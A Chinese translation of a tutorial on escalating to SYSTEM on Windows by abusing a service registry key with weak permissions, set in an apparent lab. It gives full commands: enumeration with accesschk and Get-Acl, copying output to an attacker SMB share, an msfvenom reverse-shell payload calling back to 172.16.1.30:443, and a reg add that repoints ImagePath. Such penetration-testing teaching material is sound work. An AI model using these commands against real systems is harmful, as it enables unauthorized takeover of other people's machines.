Windows 提权-服务_弱注册表权限
本文通过 Google 翻译 Weak Registry Key Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
0、前言
在这篇文章中,我们将学习一种涉及注册表的权限提升技术。我们将看到,由于服务注册表权限管理的薄弱,导致攻击者可以由标准用户权限提升到本地 SYSTEM 权限。
首先,我们会使用几种不同的枚举工具去查找与服务相关的注册表项,试图找到任何权限较弱的键。其次,在这个键下面寻找与服务绑定信息相关的值(主要是 imagePath 值)。然后,我们会制作一个恶意程序,并将这个 imagePath 的值从原始路径替换为指向恶意程序的路径。最后,重启该服务,该服务将执行恶意 EXE 并为我们提供一个 SYSTEM shell。
通过篡改服务使用的注册表项,攻击者可以操纵服务可执行文件的执行位置。攻击者可能没有任何权限滥用服务本身,但如果能够滥用与该服务相关的注册表项,攻击者就有能力绕过权限限制直接操纵服务。
由于注册表是应用程序和系统组件(例如服务)存储配置数据的地方,而如果我们能够操纵服务存储配置数据的位置,那么也就意味着我们可以改变服务启动程序的位置。
注:注册表相关术语名词介绍。
键(Key):类似于文件系统中的“文件夹”,用于存储注册表值。
根键(Root Key):注册表的最高层级键,共有五个主要根键,分别是:HKCU(存储当前登录用户的配置信息)、HKLM(存储计算机范围内的配置信息)、HKU(存储计算机上所有用户的配置信息)、HKCR(存储文件扩展名、程序关联信息等)、HKCC(存储当前硬件配置文件的动态数据)。
子键(Subkey):键中的子层级,例如
HKEY_LOCAL_MACHINE\SYSTEM中,SYSTEM是HKEY_LOCAL_MACHINE的子键。值(Value):存储在键中的具体数据,每个键可以包含多个值。
注册表项(Registry Entry):指具体的键或值。
注册表路径(Registry Path):访问注册表中某个键的完整路径,
注册表权限:控制哪些用户或程序可以读取、修改注册表键值。
注册表脚本(.reg 文件):用于批量导入或修改注册表的文本文件。
1、搜寻服务的弱权限注册表项
在搜寻有关服务的注册表项时,我们主要的关注点是 HKLM\SYSTEM\CurrentControlSet\Services 路径下面的子键,因为这里是专门用来存储系统中所有服务配置数据的地方。
在接下来的示例中,假设我们已经作为标准用户 cmarko 在目标机上获得了立足点。

有多种方法可以用来枚举注册表项的弱权限,但在本例中,我们通过只使用两种不同的工具和一种手动方法去枚举注册表项的权限。
1.1、枚举弱权限注册表项:accesschk.exe
我们要探索的第一种枚举注册表权限的技术,是使用 Sysinterals 工具套件中的 accesschk.exe 工具。
首先根据受害者机器的系统架构去下载对应的 accesschk 版本,然后将其传输到受害者机器上。
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"


为了能更好的使用 accesschk 工具和理解它输出的内容,我们要对下面这些用户/组有所了解:
- %USERNAME% 代表当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
如果在枚举服务相关的注册表项时,能够发现以上任意一个用户/组拥有写入权限,那我们就可利用这个服务。
使用 accesschk 时,我们首先检查当前用户,因为当前用户可能默认属于这些组中的大多数。【最主要的是,查看其它组的最终目的不还是为了当前用户吗】
accesschk64.exe "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\services -accepteula

可以看到,当前用户对 Juggernaut 服务的注册表项拥有 ALL_ACCESS 权限,即“完全控制”的权限。【而该权限的由来,可能是因为这个注册表项就是针对这个用户本身开放的 ALL_ACCESS 权限,也可能是针对某个组开放的权限,只不过当前用户正好就在其中。】
此外,也可以通过以下命令分别查询其它组拥有哪些服务的注册表项写入权限:
accesschk64.exe "Everyone" -kqswvu hklm\System\CurrentControlSet\services -accepteula
accesschk64.exe "Authenticated Users" -kqswvu hklm\System\CurrentControlSet\services -accepteula
accesschk64.exe "BUILTIN\Users" -kqswvu hklm\System\CurrentControlSet\services -accepteula
accesschk64.exe "NT AUTHORITY\INTERACTIVE" -kqswvu hklm\System\CurrentControlSet\services -accepteula
为了更好的理解 accesschk 工具参数的用法,可以查看此手册。
1.2、枚举弱权限注册表项:PowerShell + Linux-Fu
第二种查找服务弱权限注册表项的方法是使用 PowerShell 的 cmdlet,可使用以下命令:
Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List
由于输出内容较多,因此,可以将输出重定向到文件,然后发送回我们的攻击机慢慢查看。
Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List | Out-File -FilePath C:\temp\service_keys.txt

将此文件发送回攻击机的最方便的方法是在攻击机使用以下命令启动一个 SMB 服务:
impacket-smbserver share $(pwd) -smb2support
然后回到受害者机器,使用以下命令将文件发送到攻击者机器:
copy C:\temp\service_keys.txt \\172.16.1.30\share



查看两侧文件的字节大小是否一样,以确保文件的传输是正常的。同时,由于 Windows 和 Linux 关于文本文件格式不同的问题,我们需要在攻击机通过 dos2unix 命令将其格式进行转换,然后才能使用 grep 命令去提取我们感兴趣的信息。

由于该文件非常庞大,因此,我们需要使用一些 Linux 技巧,以将输出内容缩减到只包含我们感兴趣的信息,这样才能更容易地发现异常值。
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users"
输出的内容依旧很多,但基本上就是一条 Path 对应一条 Access,同时还看到许多显示“ ReadKey”的权限。

为此,我们需要使用以下命令省略 ReadKey 的输出:
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey"
这次,虽然“ReadKey”没有了,但 Path 和 Access 一对一的关系也被打破了,好多 Access 的行会粘连在一块。为此,我们需要再次筛选只会在 Access 行中出现的 Authenticated Users、FullControl 等关键信息,并指定行被匹配的同时还要附带匹配行上面的一行信息,即 -B 1,最终命令如下:
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey" | grep -B 1 -i "Authenticated Users|\BUILTIN\\\Users\|Everyone\|INTERACTIVE\|FullControl\|Modify\|Write"
这次效果就好多了,输出内容由刚开始的 10,000 多行减少到了大约 40 行,在这 40 行的数据中我们很快就发现了异常!

当找到了弱权限的注册表路径后,就可以使用 Get-Acl 进行专项查询:
Get-Acl -Path hklm:\System\CurrentControlSet\services\Juggernaut | Format-List

1.3、枚举弱权限注册表项:winPEAS.exe
第三种查找服务弱权限注册表项的方法是使用 winPEAS.exe 枚举工具,而这可能是查找弱权限注册表项最简单的方法。
将 winPEASx64.exe 的副本下载并传输到受害者机器上。

执行 winPEAS 之后,我们可以在“Services Information”部分找到任何错误配置的服务注册表项。

2、分析服务的弱权限注册表项
在经过上面的枚举之后,我们找到了一个令人感兴趣的服务注册表项:Juggernaut。接下来,我们就需要针对这个键去查看它下面和服务相关的值的信息。
可以使用 cmd.exe 或 PowerShell 命令去枚举服务。
使用 cmd.exe:
reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut"

使用 PowerShell:
Get-Item -Path Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut

在上面的输出中,可以看到键值“ImagePath”指向了 C:\Program Files\Juggernaut\Juggernaut.exe 文件,而这就是服务的启动程序;键值“ObjectName”是 LocalSystem,表示服务以 SYSTEM 身份运行;键值“Start”是 2,表示服务可以通过开机自启动。
又尝试看了一下 C:\Program Files\Juggernaut\目录和 Juggernaut.exe 文件的权限,发现我们并没有写入的权限(权限标识中没有出现 F、M、W 这些字符)。
icacls "C:\Program Files\Juggernaut\Juggernaut.exe"
icacls "C:\Program Files\Juggernaut"

此时,有趣的地方出现了。虽然我们没有服务启动程序所在目录和文件的修改权限,但由于我们有权限修改该服务的注册表项,因此就可以通过更改服务注册表键值“ImagePath”的路径来指向我们控制的文件。
由于这项服务是可以自启动的,而我们又拥有该主机的重启操作,因此我们就可以通过重启系统来强制重启服务。

3、利用服务的弱权限注册表项
3.1、制作恶意程序
接着,我们需要制作一个恶意程序以供利用使用:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o pwnt.exe

准备就绪后,我们将其转移到受害者机器上。

3.2、利用注册表键
接下来,我们需要做的第一件事就是更改 Juggernaut 服务注册表键值上的 ImagePath,使其指向我们受控的恶意程序。可以使用以下命令来完成这项工作:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\pwnt.exe" /f

成功修改 ImagePath 以指向受控的恶意程序后,我们需要返回攻击者机器,启动一个 443 端口的 netcat 监听器,然后重启受害者主机。
shutdown /r /t 0
等待大约20秒钟后,回到监听器,看到我们获得了一个 SYSTEM shell!

Windows 提权-服务_弱注册表权限的更多相关文章
- 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权
原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...
- 使用REGINI修改注册表权限
regini regset.ini 就行啦 regset.ini 是你要修改的数据 1.注册表修改 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr ...
- 35.windows提权总结
本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...
- 「白帽黑客成长记」Windows提权基本原理(下)
上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(下)
「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...
- Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...
- 「白帽黑客成长记」Windows提权基本原理(上)
我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(上)
「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...
- C#高级编程笔记(22至25章节)文件\注册表\权限\事务
22安全(using System.Security.Principal;) AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.Wi ...
- Windows中添加自己的程序到开机启动中(添加服务,添加注册表)
在系统启动的时候启动自己想要启动的程序: 方法一:利用开机启动文件夹 将exe文件或exe文件的快捷方式复制到(启动)文件夹下 以win7为例:开始→所有程序→启动→鼠标右键打开 方法二:添加系统服务 ...
随机推荐
- 命名空间“System.Web.UI.Design”中不存在类型或命名空间名称“ControlDesigner”
命名空间"System.Web.UI.Design"中不存在类型或命名空间名称"ControlDesigner" 命名空间"System.Web.UI ...
- JMeter 线程组全家桶教程
宝子们,今天咱就来唠唠 JMeter 里那些超重要的线程相关的玩意儿,学会了它们,你就能在性能测试的世界里 "横冲直撞" 啦! 一.线程组 -- 性能测试的主力军 想象一下,你开了 ...
- 脱离实体类操作数据库(mysql版本)
原理很简单:1.利用mysql的information_schema库,获取对用表的信息: 2.使用DataSource,建立数据库连接,并执行sql脚本: 3.Map的keySet和values集合 ...
- python读取excel的文件
1.安装依赖包,并且导入 pip install xlrd import xlrd 2.打开文件 path = r"C:\Users\xiao\Desktop\服务体系.xls" ...
- uni-app之页面跳转(点击按钮进行页面跳转)
001==>点击按钮进行页面跳转 <view class="" @tap="gotoLunBo"> 去轮播页 </view> // ...
- 基于生成式AI的访问控制, 迁移传统安全策略到基于LLM的风险分类器
基于规则的风险分类 风险分类是网络安全系统的核心能力之一,它将访问请求和命令映射到其风险级别/类别:高(High).中(Medium).低(Low).目前,即便是在大规模环境中,风险分类器仍主要采用基 ...
- 从找朋友到找变位词:一道趣味字符串问题的深入解析|LeetCode 438 找到字符串中所有字母异位词
LeetCode 438 找到字符串中所有字母异位词 点此看全部题解 LeetCode必刷100题:一份来自面试官的算法地图(题解持续更新中) 生活中的算法 还记得小时候玩的"找朋友&quo ...
- redis渐进式rehash
本文分享自天翼云开发者社区<redis渐进式rehash>,作者:l****n Redis是k-v型数据库,其内部设计了一种dict类型的数据结构用来存储键值结构. dict 通常的存储结 ...
- 最长不降子序列 n log n 方案输出与 Dilworth 定理 - 动态规划模板
朴素算法 不必多说,\(O(n^2)\) 的暴力 dp 转移. 优化算法 时间为 \(O(n \log n)\) ,本质是贪心,不是 dp . 思路是维护一个单调栈(手写版),使这个栈单调不降. 当该 ...
- 解锁 DeepSeek 的高效秘籍:技术人员的进阶技巧
DeepSeek 作为一款强大的代码搜索引擎,能够帮助开发者快速定位代码.解决疑难问题,甚至学习前沿技术.但想要真正释放其潜力,必须掌握以下核心技巧.本文将通过重点标注,直击高效使用 DeepSeek ...